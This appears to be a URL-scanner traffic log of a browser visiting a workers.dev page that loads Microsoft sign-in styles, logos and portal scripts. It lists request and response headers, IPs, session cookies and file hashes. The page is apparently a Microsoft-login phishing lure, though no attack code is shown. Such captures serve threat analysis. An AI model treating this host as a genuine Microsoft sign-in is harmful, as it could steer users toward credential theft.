Last-Modified: Fri, 09 Sep 2022 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=21586
Expires: Sun, 11 Sep 2022 03:11:17 GMT
Date: Sat, 10 Sep 2022 21:11:31 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: e1.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         95.101.11.115
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 345
ETag: "9AC67BD8542CB711AD76324A60332AD8D2309C563C6BAD56722163EC8416B6D5"
Last-Modified: Fri, 09 Sep 2022 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=21586
Expires: Sun, 11 Sep 2022 03:11:17 GMT
Date: Sat, 10 Sep 2022 21:11:31 GMT
Connection: keep-alive

                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Sat, 10 Sep 2022 21:11:31 GMT
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET /ests/2.1.8576.13/content/cdnbundles/converged.v2.login.min_xu7km3oxm4bwp2b-mqyozg2.css HTTP/1.1 
Host: secure.aadcdn.microsoftonline-p.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://lingering-sun-f560.servicedeck.workers.dev
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         23.32.99.134
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Content-Length: 18788
Content-Encoding: gzip
Content-MD5: xI6nFIlAZcVgw+oZ8mpIWA==
Last-Modified: Sun, 19 May 2019 07:53:51 GMT
Unused62: 8096267
Cache-Control: public, max-age=16882081
Date: Sat, 10 Sep 2022 21:11:31 GMT
Connection: keep-alive
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  ASCII text, with very long lines (61177)
Size:   18788
Md5:    c48ea714894065c560c3ea19f26a4858
Sha1:   ee6e2af4cd7d0f5c61715a3d6c8e6c13742d791a
Sha256: 4c885c3e3078d9df2a09cae69b4bfde950b342e8cc94c7b4a413b18b48b63608
                                        
                                            GET /ajax/jQuery/jquery-3.3.1.min.js HTTP/1.1 
Host: ajax.aspnetcdn.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         152.199.19.160
HTTP/2 200 OK
content-type: application/javascript
                                        
content-encoding: gzip
accept-ranges: bytes
access-control-allow-origin: *
age: 15845786
cache-control: public,max-age=31536000
date: Sat, 10 Sep 2022 21:11:31 GMT
etag: "80288516b793d31:0"
last-modified: Mon, 22 Jan 2018 19:27:49 GMT
server: ECAcc (ska/F7A8)
timing-allow-origin: *
vary: Accept-Encoding
x-cache: HIT
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
content-length: 30394
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65451)
Size:   30394
Md5:    a263be51483c81a54aa8c85104a93e55
Sha1:   555a54a73531c553bd2aede6abc25c128b63312e
Sha256: b2f13ad730928958c09d89e6e32bb6a227c0260d032a39ca464d998a59e57a66
                                        
                                            GET /ests/2.1.8576.13/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b588ad73.svg HTTP/1.1 
Host: secure.aadcdn.microsoftonline-p.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         23.32.99.134
HTTP/1.1 200 OK
Content-Type: image/svg+xml
                                        
Content-Length: 263
Content-Encoding: gzip
Content-MD5: HMwsHhNXdtrfirQDkzcqMA==
Last-Modified: Sun, 19 May 2019 07:54:27 GMT
Unused62: 8096267
Cache-Control: public, max-age=16882081
Date: Sat, 10 Sep 2022 21:11:31 GMT
Connection: keep-alive
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  SVG Scalable Vector Graphics image\012- HTML document, ASCII text, with very long lines (915), with no line terminators
Size:   263
Md5:    1ccc2c1e135776dadf8ab40393372a30
Sha1:   896401dab83bfc11a8b762bcb31d380831f97c9f
Sha256: ab27d5557bbbd037b4af2acce3f53c868efa932558bd7dd8e3f0347b10325043
                                        
                                            GET /ests/2.1.8576.13/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg HTTP/1.1 
Host: secure.aadcdn.microsoftonline-p.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         23.32.99.134
HTTP/1.1 200 OK
Content-Type: image/svg+xml
                                        
Content-Length: 263
Content-Encoding: gzip
Content-MD5: /a3y/mpA+HRaVAiPACrsog==
Last-Modified: Sun, 19 May 2019 07:54:56 GMT
Unused62: 8096267
Cache-Control: public, max-age=16882081
Date: Sat, 10 Sep 2022 21:11:31 GMT
Connection: keep-alive
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  SVG Scalable Vector Graphics image\012- HTML document, ASCII text, with very long lines (915), with no line terminators
Size:   263
Md5:    fdadf2fe6a40f8745a54088f002aeca2
Sha1:   ce8a4413aba3b2035ef4c48d46d76eabe4dda4b0
Sha256: aa6593b23f2559fe0c239b25f9ad9b2bc79437ae5ee23e412e13d148ab5b6b86
                                        
                                            GET /ests/2.1.8576.13/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 
Host: secure.aadcdn.microsoftonline-p.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         23.32.99.134
HTTP/1.1 200 OK
Content-Type: image/svg+xml
                                        
Content-Length: 1435
Content-Encoding: gzip
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Last-Modified: Sun, 19 May 2019 07:54:57 GMT
Unused62: 8096267
Cache-Control: public, max-age=16882080
Date: Sat, 10 Sep 2022 21:11:31 GMT
Connection: keep-alive
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  SVG Scalable Vector Graphics image\012- HTML document, ASCII text, with very long lines (3651), with no line terminators
Size:   1435
Md5:    9f368bc4580fed907775f31c6b26d6cf
Sha1:   e393a40b3e337f43057eee3de189f197ab056451
Sha256: 7ecbba946c099539c3d9c03f4b6804958900e5b90d48336eea7e5a2ed050fa36
                                        
                                            GET /ests/2.1/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 
Host: aadcdn.msftauth.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         152.199.23.37
HTTP/2 200 OK
content-type: image/svg+xml
                                        
content-encoding: gzip
accept-ranges: bytes
access-control-allow-origin: *
access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
age: 3685589
cache-control: public, max-age=31536000
content-md5: DhdidjYrlCeaRJJRG/y9mA==
date: Sat, 10 Sep 2022 21:11:32 GMT
etag: 0x8D7B029B6833F84
last-modified: Thu, 13 Feb 2020 02:09:09 GMT
server: ECAcc (ska/F6CF)
vary: Accept-Encoding
x-cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: f4d3299c-701e-0052-63d4-a39062000000
x-ms-version: 2009-09-19
content-length: 673
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  SVG Scalable Vector Graphics image\012- , ASCII text, with very long lines (1864), with no line terminators
Size:   673
Md5:    0e176276362b94279a4492511bfcbd98
Sha1:   389fe6b51f62254bb98939896b8c89ebeffe2a02
Sha256: 9a2c174ae45cac057822844211156a5ed293e65c5f69e1d211a7206472c5c80c
                                        
                                            GET /ests/2.1/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 
Host: aadcdn.msauth.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         13.107.227.53
HTTP/2 200 OK
content-type: image/png
                                        
cache-control: public, max-age=31536000
content-length: 5139
content-md5: izYzcDfP+Iw98gO7c9WOQQ==
last-modified: Wed, 12 Feb 2020 22:11:35 GMT
etag: 0x8D7B008867A4ADE
server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-cache: TCP_REMOTE_HIT
x-ms-request-id: bed9626b-d01e-0006-5bca-c4cd7f000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
access-control-allow-origin: *
x-azure-ref-originshield: 0hP0cYwAAAAAva6Nl0+hWTahSHsVmdYWGQU1TMDRFREdFMTgxNQAzOWExMmY3ZS04OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
x-azure-ref: 0g/0cYwAAAACr3EOkyBITQLAgkhHHDsevT1NMMjMxMDUwMjAzMDA5ADM5YTEyZjdlLTg5OWYtNDZjZi1hNmQwLTI0YmJiYTI3ZDk1Ng==
date: Sat, 10 Sep 2022 21:11:31 GMT
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced\012- data
Size:   5139
Md5:    8b36337037cff88c3df203bb73d58e41
Sha1:   1ada36fa207b8b96b2a5f55078bfe2a97acead0e
Sha256: e4e1e65871749d18aea150643c07e0aab2057da057c6c57ec1c3c43580e1c898
                                        
                                            GET /ests/2.1.8576.13/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 
Host: secure.aadcdn.microsoftonline-p.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         23.32.99.134
HTTP/1.1 200 OK
Content-Type: image/x-icon
                                        
Content-Length: 17174
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Last-Modified: Sun, 19 May 2019 07:54:51 GMT
Cache-Control: public, max-age=17146212
Date: Sat, 10 Sep 2022 21:11:32 GMT
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors\012- data
Size:   17174
Md5:    12e3dac858061d088023b2bd48e2fa96
Sha1:   e08ce1a144eceae0c3c2ea7a9d6fbc5658f24ce5
Sha256: 90cdaf487716184e4034000935c605d1633926d348116d198f355a98b8c6cd21
                                        
                                            GET /Prefetch/Prefetch.aspx HTTP/1.1 
Host: portal.microsoftonline.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://lingering-sun-f560.servicedeck.workers.dev/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

search
                                         52.109.88.54
HTTP/2 200 OK
content-type: text/html; charset=utf-8
                                        
cache-control: no-store, no-cache,no-store, no-cache
content-encoding: gzip
vary: Accept-Encoding
server: Microsoft-IIS/10.0
strict-transport-security: max-age=63072000
x-aspnet-version: 4.0.30319
set-cookie: s.SessID=1b373c2c-cead-425b-a9e1-b58a4a26af33; path=/; secure; HttpOnly s.cachemap=20; path=/; secure; HttpOnly p.PersID=46e7bcf5-6d80-4ddf-9682-7c5273a14c31; expires=Sun, 08-Oct-2023 21:11:32 GMT; path=/; secure; HttpOnly s.SessID=1b373c2c-cead-425b-a9e1-b58a4a26af33; path=/; secure; HttpOnly s.cachemap=20; path=/; secure; HttpOnly p.PersID=46e7bcf5-6d80-4ddf-9682-7c5273a14c31; expires=Sun, 08-Oct-2023 21:11:32 GMT; path=/; secure; HttpOnly x-portal-routekey=weu; path=/; secure; HttpOnly
x-powered-by: ASP.NET
x-content-type-options: nosniff
x-ua-compatible: IE=Edge
date: Sat, 10 Sep 2022 21:11:32 GMT
content-length: 3136
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document, ASCII text, with very long lines (3387), with CRLF, LF line terminators
Size:   3136
Md5:    e5af394719bee1a4402ef935dd080725
Sha1:   9e803851b9a44abca6a587822bfeec4fbf3e423c
Sha256: bfb5e43313aa101bc3030dd013148ea2f4e192c3d34d142b6ff71a86ace027d5
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         143.204.55.27
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 329
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: ETag, Expires, Content-Length, Cache-Control, Pragma, Content-Type, Alert, Backoff, Last-Modified, Retry-After
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Last-Modified: Fri, 25 Mar 2022 17:45:46 GMT
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Cache-Control: max-age=3600
Date: Sat, 10 Sep 2022 20:56:07 GMT
Expires: Sat, 10 Sep 2022 21:11:38 GMT
ETag: "1648230346554"
X-Cache: Hit from cloudfront
Via: 1.1 aac54e3fe9825ce24d51e0204433c2c0.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: s4fADbDH_cBAvKScUDMn1o39xz0_MyTiHe6JG_zW9RltDKXBXRmoEQ==
Age: 925


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            GET /WebResource.axd?d=SYxG2gKEltHc92c7-eKy7vreyN1e2QqrvpdCCR4utt35Rwac9rd_c8SeOHxrYQBj6_mlgMwB-OaZiOiHvHjimRyiyb40s7dxOv3AMLtzClV2W-wogtkMOc2pDBD_sJZyRKzfvgJtVY-JClcKNVaTSg2&t=637954123216520254 HTTP/1.1 
Host: portal.microsoftonline.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/Prefetch/Prefetch.aspx
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         52.109.88.54
HTTP/2 200 OK
content-type: application/x-javascript
                                        
cache-control: public
content-encoding: gzip
expires: Sun, 10 Sep 2023 07:58:39 GMT
last-modified: Sat, 06 Aug 2022 19:52:01 GMT
vary: Accept-Encoding
server: Microsoft-IIS/10.0
strict-transport-security: max-age=63072000
x-aspnet-version: 4.0.30319
set-cookie: s.SessID=eaa2191a-bb8d-41f8-8fb0-577ac75dfce1; path=/; secure; HttpOnly x-portal-routekey=weu; path=/; secure; HttpOnly
x-powered-by: ASP.NET
x-content-type-options: nosniff
x-ua-compatible: IE=Edge
date: Sat, 10 Sep 2022 21:11:32 GMT
content-length: 6007
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with CRLF line terminators
Size:   6007
Md5:    06fd446079195e9866f38728a31b8416
Sha1:   bce7935598a51703a7077dd75e1d30882533c6e1
Sha256: 5466d19b6349cc09de47de356c3195b2fd367a5ab8f1c55e8aaf2f296915d46d
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/css/embeddedfonts.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
last-modified: Tue, 06 Sep 2022 18:59:41 GMT
x-ms-request-id: 05caf13a-501e-003e-34ba-c268e8000000
content-encoding: gzip
content-length: 320
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (2802), with no line terminators
Size:   320
Md5:    5a3f1dea25d9d633d7c979a90cbc82fe
Sha1:   bc035d028973021dbf369b639453ba4f71c05a87
Sha256: eeb58e7bfcdf27308c8911e6cc7efa9300fdc4a4b0298659ac046faafb949040
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/content/css/signup16.css HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: text/css
                                        
last-modified: Tue, 06 Sep 2022 19:03:01 GMT
x-ms-request-id: 57d11af7-201e-000b-41df-c204fc000000
content-encoding: gzip
content-length: 4297
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (21034), with no line terminators
Size:   4297
Md5:    6d7b75f8440d91312a1ff6c22f2b67fc
Sha1:   3d52e16961e0c8b13b85b43f47082714dd4ef67a
Sha256: 8dc9def0ec634f813acfab4db36a5a33f5fa4959260a143a596458ca16bcd2e0
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 6265
Cache-Control: 'max-age=158059'
Date: Sat, 10 Sep 2022 21:11:32 GMT
Last-Modified: Sat, 10 Sep 2022 19:27:07 GMT
Server: ECS (ska/F70D)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/jsc/microsoftajaxcombined.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:59:39 GMT
x-ms-request-id: f1e2e4dc-501e-004c-55ba-c26fa7000000
content-encoding: gzip
content-length: 56341
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Size:   56341
Md5:    91a46a9c92785ed247906f82d0c9df66
Sha1:   1c5f1440427f6dc8a42012c4f51417450aa328a9
Sha256: ea042f7c95bdd0f10e426fc9e9987efbdab0690ee3859b36a6ceeed19a170eeb
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/jsc/headbundle.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:45:27 GMT
x-ms-request-id: 4de2fd72-301e-0028-7aba-c29e3f000000
content-encoding: gzip
content-length: 16736
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65536), with no line terminators
Size:   16736
Md5:    1dce86126231c6016880af34434af00a
Sha1:   296188503bbad29892cb5cac9219df18ce3f6914
Sha256: 7ace7ec9ccea69ae6209b8e2c5d4c35253c9a310f1c32ec7beb3c7aedfa3dfe9
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/jquery/jquery-1_10_2_min.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:59:32 GMT
x-ms-request-id: 9ee17803-d01e-0052-70ba-c2837f000000
content-encoding: gzip
content-length: 33304
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65399)
Size:   33304
Md5:    117f25436c096247cf6441b01fd09140
Sha1:   02e5fd58e0d4fd6e4c3eec8a5decfb5dcf7a14b6
Sha256: 70c50d516099cd4bdda83b580ee6af550a8cb7761ec7c7cbf926a14a4ba704ed
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/jsc/angularlib.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 18:45:45 GMT
x-ms-request-id: c47c3373-e01e-0014-1fc0-c2b7f8000000
content-encoding: gzip
content-length: 57636
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
x-cdn-provider: Akamai
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65447)
Size:   57636
Md5:    741fba608cd877b536bed3152b2d65ca
Sha1:   5bdbfaf7bf73be0fa62488b603c81844d97518bc
Sha256: 3ba99a0ab4d0e772fa76bf12cdfc590e6cb2fbbe15fe2452417da7fdf27923e4
                                        
                                            GET /admincenter/admin-pkg/2022.9.1.0/en/js/mscorlib.js HTTP/1.1 
Host: res.cdn.office.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://portal.microsoftonline.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         95.101.172.113
HTTP/2 200 OK
content-type: application/javascript
                                        
last-modified: Tue, 06 Sep 2022 19:01:07 GMT
x-ms-request-id: 5c164cfb-301e-0038-69df-c25b57000000
content-encoding: gzip
content-length: 7064
cache-control: max-age=630720000
date: Sat, 10 Sep 2022 21:11:32 GMT
vary: Accept-Encoding
x-content-type-options: nosniff
timing-allow-origin: *
access-control-expose-headers: date,Akamai-Request-BC
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubDomains
